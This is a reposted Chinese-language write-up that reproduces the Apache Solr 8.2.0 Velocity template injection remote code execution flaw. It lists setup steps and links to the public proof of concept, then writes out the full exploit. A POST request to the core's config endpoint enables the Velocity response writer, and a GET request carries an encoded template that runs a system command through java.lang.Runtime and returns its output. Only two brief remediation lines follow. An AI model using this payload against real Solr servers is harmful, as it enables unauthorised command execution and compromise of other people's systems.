Apache Solr Velocity模板遠程代碼執行復現


0x01漏洞描述

2019年10月31日,國外安全研究員s00py在Github公開了一個Apache Solr Velocity模板注入遠程命令執行的poc。

經過研究,發現該0day漏洞真實有效並且可以攻擊最新版本(8.2.0)的Solr。

0x02CVE編號

0x03漏洞等級

高危

0x04影響范圍

包括但不限於8.2.0 

0x05漏洞復現

1)首先 下載Solr的環境

https://www.apache.org/dyn/closer.lua/lucene/solr/8.2.0/solr-8.2.0.zip

poc所在地

https : //gist.githubusercontent.com/s00py/a1ba36a3689fa13759ff910e179fc133/raw/fae5e663ffac0e3996fd9dbb89438310719d347a/gistfile1.txt

https://github.com/wyzxxz/Apache_Solr_RCE_via_Velocity_template

2)解壓並執行 

solr.cmd start

3)然后訪問http:ip:8983

首先在Core Admin查看應用路徑,此處為logadmin

 

 

4)然后訪問查看該應用config文件是否可以訪問

 

 

5)然后利用s00py公布的poc修改向config發送json配置繼續修改

POST /solr/test/config HTTP/1.1
Host: solr:8983
Content-Type: application/json
Content-Length: 259

{
  "update-queryresponsewriter": {
    "startup": "lazy",
    "name": "velocity",
    "class": "solr.VelocityResponseWriter",
    "template.base.dir": "",
    "solr.resource.loader.enabled": "true",
    "params.resource.loader.enabled": "true"
  }
}

 

 

 

6)修改成功后可利用poc執行任意代碼

GET /solr/test/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end

 

 

 

 

0x06 修復建議

  • 對solr增加訪問控制
  • 及時關注官方補丁


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM